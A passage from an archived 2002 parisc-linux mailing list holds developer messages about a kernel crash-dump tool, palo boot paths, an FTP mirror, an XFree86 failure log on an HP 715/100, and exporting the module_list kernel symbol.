	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13856

This is a multi-part message in MIME format.
--------------B43D8C2B794530EA42C1540C
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I start to look a bit more deeply in the dump
I'm creating. And I found that the physical
memory start at address 0x0000000010000000.
Is it normal ? Or do I missed something ?

btw I've added the dump option "s", and by
default it is /boot/vmlinux. So when palo will
be able to give us the option, we will have the
true kernel path directly in the dump header.

	thanks all.

ps: phi, do you want I add the kernel path in 
the INDEX file ?

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------B43D8C2B794530EA42C1540C
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------B43D8C2B794530EA42C1540C--




From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Deresch <aderesch@fs.tum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Wed, 23 Jan 2002 11:23:26 +0100 (CET)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0201231118490.942-100000@ganymed.fachschaften.tu-muenchen.de>
References: <20020123021318.E6C6C482A@dsl2.external.hp.com>
Reply-To: Andreas Deresch <aderesch@fs.tum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621005 1564 80.91.229.3 (22 Nov 2014 01:50:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:05 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 23 03:24:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.176.19])
	by dsl2.external.hp.com (Postfix) with SMTP id D9C42482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jan 2002 03:24:00 -0700 (MST)
Original-Received: (qmail 20843 invoked from network); 23 Jan 2002 10:23:20 -0000
Original-Received: from ganymed.fachschaften.tu-muenchen.de (129.187.137.139)
  by hermes.fachschaften.tu-muenchen.de with SMTP; 23 Jan 2002 10:23:19 -0000
In-Reply-To: <20020123021318.E6C6C482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13857

> > I know it's a pain
> > to turn 3/vmlinux into /boot/vmlinux but 3/vmlinux is all palo knows.
>
> Isn't /vmlinux a symlink to /boot/vmlinux?
> ie the file palo loaded is whatever the symlink points to.
Can you guarantee, that everybody will have this link?
(I for example don't right now - I always thought, this is just for
historical reasons)

> BTW, I explicitly specify /boot/vmlinux in my palo.conf files
> and see 3/boot/vmlinux in my palo command line.
Which means, /boot is not a separate partition as some people like to keep
it. So you can't count on that either.

ad




From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mattias Wadenstein <maswan@acc.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mirror of ftp.parisc-linux.org
Date: Wed, 23 Jan 2002 12:36:34 +0100 (MET)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.A41.4.42.0201231228050.41542-100000@stalin.acc.umu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416621006 1568 80.91.229.3 (22 Nov 2014 01:50:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 23 04:36:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from khan.acc.umu.se (khan.acc.umu.se [130.239.18.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F8B2482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jan 2002 04:36:37 -0700 (MST)
Original-Received: from stalin.acc.umu.se (maswan@stalin.acc.umu.se [130.239.18.135])
	by khan.acc.umu.se (8.11.6/8.11.6) with ESMTP id g0NBaZ929702
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jan 2002 12:36:35 +0100 (MET)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13858

We have now put up a mirror of ftp.parisc-linux.org/pub at our ftp mirror
here at ACC (Academic Computer Club at Ume University). It updates daily,
but we do not mirror cvs/checkedout.

The access methods:
ftp: ftp://ftp.acc.umu.se/mirror/ftp.parisc-linux.org/
http: http://ftp.acc.umu.se/mirror/ftp.parisc-linux.org/
rsync: ftp.acc.umu.se::mirror/ftp.parisc-linux.org/

/Mattias Wadenstein




From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FAUCHER,DENNIS (HP-USA,ex1)" <dennis_faucher@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] xf86 Config Files for 715/100
Date: Wed, 23 Jan 2002 08:10:45 -0800
Lines: 144
Approved: news@gmane.org
Message-ID: <2F1E6AB90ECAD311943700A0C9E3B154077D6ED4@xatl03.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621006 1572 80.91.229.3 (22 Nov 2014 01:50:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 23 09:10:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 109B8482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jan 2002 09:10:49 -0700 (MST)
Original-Received: from xparelay2.corp.hp.com (xparelay2.corp.hp.com [15.58.137.112])
	by palrel13.hp.com (Postfix) with ESMTP
	id D1414E00099; Wed, 23 Jan 2002 08:10:47 -0800 (PST)
Original-Received: from xpabh1.corp.hp.com (xpabh1.corp.hp.com [15.58.136.191])
	by xparelay2.corp.hp.com (Postfix) with ESMTP
	id 4AEC31BF; Wed, 23 Jan 2002 08:09:55 -0800 (PST)
Original-Received: by xpabh1.corp.hp.com with Internet Mail Service (5.5.2653.19)
	id <CL86AAJJ>; Wed, 23 Jan 2002 08:10:47 -0800
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13859

Hello,

Does anyone have X working on an HP 715/100 with an A1097C monitor and 0.9.3
Linux?  Joel Soete was nice enough to send me his config files from his 712
and B180, but they have not solved the problem.  Thank you for any input.  I
have included my XFree86.0.log for fun.

Sincerely,
Dennis Faucher
Technical Consultant
Hewlett-Packard Company
https://www.ecardfile.com/id/dennis_faucher (Contact)
http://e-services.hp.com (E-Services) 


This is a pre-release version of XFree86, and is not supported in any
way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
please check the latest version in the XFree86 CVS repository
(http://www.XFree86.Org/cvs)

XFree86 Version 4.1.0.1 / X Window System
(protocol Version 11, revision 0, vendor release 6510)
Release Date: 21 December 2001
	If the server is older than 6-12 months, or if your card is
	newer than the above date, look for a newer version before
	reporting problems.  (See http://www.XFree86.Org/FAQ)
Build Operating System: Linux 2.4.16-64 parisc64 [ELF] 
(==) Log file: "/var/log/XFree86.0.log", Time: Fri Jan 18 19:58:34 2002
(==) Using config file: "/etc/X11/XF86Config-4"
Markers: (--) probed, (**) from config file, (==) default setting,
         (++) from command line, (!!) notice, (II) informational,
         (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) ServerLayout "Simple Layout"
(**) |-->Screen "Screen 1" (0)
(**) |   |-->Monitor "HP A1097C"
(**) |   |-->Device "HP Framebuffer"
(**) |-->Input Device "Mouse1"
(**) |-->Input Device "Keyboard1"
(**) Option "AutoRepeat" "500 30"
(**) Option "XkbRules" "xfree86"
(**) XKB: rules: "xfree86"
(**) Option "XkbModel" "pc101"
(**) XKB: model: "pc101"
(**) Option "XkbLayout" "us"
(**) XKB: layout: "us"
(==) Keyboard: CustomKeycode disabled
(**) FontPath set to
"/usr/X11R6/lib/X11/fonts/misc/,/usr/X11R6/lib/X11/fonts/75dpi/:unscaled,/us
r/X11R6/lib/X11/fonts/100dpi/:unscaled,/usr/X11R6/lib/X11/fonts/Type1/,/usr/
X11R6/lib/X11/fonts/Speedo/,/usr/X11R6/lib/X11/fonts/75dpi/,/usr/X11R6/lib/X
11/fonts/100dpi/"
(**) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(--) using VT number 7

(WW) Cannot open APM
(EE) No OS PCI support available
(II) Addressable bus resource ranges are
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
	[1] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) OS-reported resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) OS-reported resource ranges after removing overlaps with PCI:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) All system resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
	mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
(II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,
	pm2, pm, 300sx, 500tx, mx, delta
	S3VIdentify
(II) S3VIRGE: driver (version 1.6.13) for S3 ViRGE chipsets: virge, 86C325,
	virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
	86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
	trio 3d/2x, 86C362, 86C368
(II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
	SIS300, SIS630, SIS540
(II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
	Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
	Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
	TwisterK
(II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, cyber9388,
	cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
	tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
	providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
	cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
	cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
	ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
	ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
	3dfx Voodoo3, 3dfx Voodoo5
(II) FBDev: driver for framebuffer: fbdev, afb
(II) ATI: ATI driver (version 6.3.6) for chipsets: ati
(II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
	ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
	ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
	ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
	ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
	ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
	ATI Rage 128 Mobility ML (AGP)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
	ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
	ATI Radeon VE (AGP)
(II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,
	imstt3d
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) v4l driver for Video4Linux
	S3VProbe begin
(II) FBDev(0): using default device
(II) Running in FRAMEBUFFER Mode
(**) FBDev(0): Depth 8, (--) framebuffer bpp 8
(==) FBDev(0): Default visual is PseudoColor
(==) FBDev(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDev(0): Hardware:  (vidmem: 8192k)
(II) FBDev(0): Checking Modes against framebuffer device...
(II) FBDev(0): 	mode "1280x1024" ok
(II) FBDev(0): Checking Modes against monitor...
(--) FBDev(0): Virtual size is 1280x1024 (pitch 1280)
(**) FBDev(0): Built-in mode "current": 28000.0 MHz, 21875.0 kHz, 21362.3 Hz
(II) FBDev(0): Modeline "current"  28000.00  1280 1280 1280 1280  1024 1024
1024 1024 -hsync -vsync -csync
(==) FBDev(0): DPI set to (75, 75)
(**) FBDev(0): Using "Shadow Framebuffer"

Fatal server error:
AddScreen/ScreenInit failed for driver 0


When reporting a problem related to a server crash, please send
the full server output, not just the last messages.
This can be found in the log file "/var/log/XFree86.0.log".
Please report problems to submit@bugs.debian.org.



From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dump: pb with module_list
Date: Wed, 23 Jan 2002 19:15:40 +0100
Organization: H.P
Lines: 50
Approved: news@gmane.org
Message-ID: <3C4EFDCC.A4A227F9@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------A8C3EC0842E00ADB448949C5"
X-Trace: ger.gmane.org 1416621006 1574 80.91.229.3 (22 Nov 2014 01:50:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:06 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 23 11:18:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD0F4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jan 2002 11:18:42 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id AD00D364
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jan 2002 19:18:40 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id TAA26804 for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jan 2002 19:18:06 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13860

This is a multi-part message in MIME format.
--------------A8C3EC0842E00ADB448949C5
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
There is something I don't understand (and I really
dont like to not understand). I didn't have any pb
with utsname. But now I want to retrieve the loaded 
modules at dump time. In order to do that, I wrote
a very simple loop (it is based on find_module function).
It is based on the pointer "module_list". this is define
in linux/module.h as: 
extern struct module *module_list;

Because I don't want to modify kernel/module.c
I've put my function in my dump_base.c
(it already include linux/module.h). It compile right,
but when using depmod, insmod, etc...:
dump.o: unresolved symbol module_list
I've already recompile the entire kernel, make dep, etc...

I'm probably missing something, but what ????

	thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------A8C3EC0842E00ADB448949C5
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------A8C3EC0842E00ADB448949C5--




From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dump: pb with module_list
Date: Wed, 23 Jan 2002 22:00:33 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20020123220032.GA29047@sleepie.demon.co.uk>
References: <3C4EFDCC.A4A227F9@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621007 1577 80.91.229.3 (22 Nov 2014 01:50:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:07 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 23 15:41:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50E92482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jan 2002 15:41:23 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 702BB9E7F3; Wed, 23 Jan 2002 22:00:33 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <3C4EFDCC.A4A227F9@admin.france.hp.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13861

On Wed, Jan 23, 2002 at 07:15:40PM +0100, Bruno Vidal wrote:
> 	Hi
> There is something I don't understand (and I really
> dont like to not understand). I didn't have any pb
> with utsname. But now I want to retrieve the loaded 
> modules at dump time. In order to do that, I wrote
> a very simple loop (it is based on find_module function).
> It is based on the pointer "module_list". this is define
> in linux/module.h as: 
> extern struct module *module_list;
> 
> Because I don't want to modify kernel/module.c
> I've put my function in my dump_base.c
> (it already include linux/module.h). It compile right,
> but when using depmod, insmod, etc...:
> dump.o: unresolved symbol module_list
> I've already recompile the entire kernel, make dep, etc...
> 
> I'm probably missing something, but what ????

You need to export the symbol for modules to see it.  See
arch/parisc/kernel/parisc_ksyms.c for example.

Richard




From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Re]: B2000
Date: Thu, 24 Jan 2002 22:56:56 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20020125055656.67F3D482A@dsl2.external.hp.com>
References: <1011726540.3c4db8cc712a9@webmail.tiscalinet.be> <20020123020740.518C5482A@dsl2.external.hp.com>  <1011768811.3c4e5deb1fe45@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621007 1583 80.91.229.3 (22 Nov 2014 01:50:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 24 22:56:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 67F3D482A; Thu, 24 Jan 2002 22:56:56 -0700 (MST)
In-Reply-To: Message from jsoe0708@tiscali.be 
   of "Wed, 23 Jan 2002 07:53:31 +0100." <1011768811.3c4e5deb1fe45@webmail.tiscalinet.be> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13862

jsoe0708@tiscali.be wrote:
> PS: I would not be able to help to improve ide drivers (sorry)

Don't feel bad. In this case I wasn't either...at least not
to the point of a working IDE on suckyio. And I thought I could. :^(

grant



From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] start physical address for 712/100
Date: Thu, 24 Jan 2002 23:22:05 -0700
Lines: 25
Approved: news@gmane.org
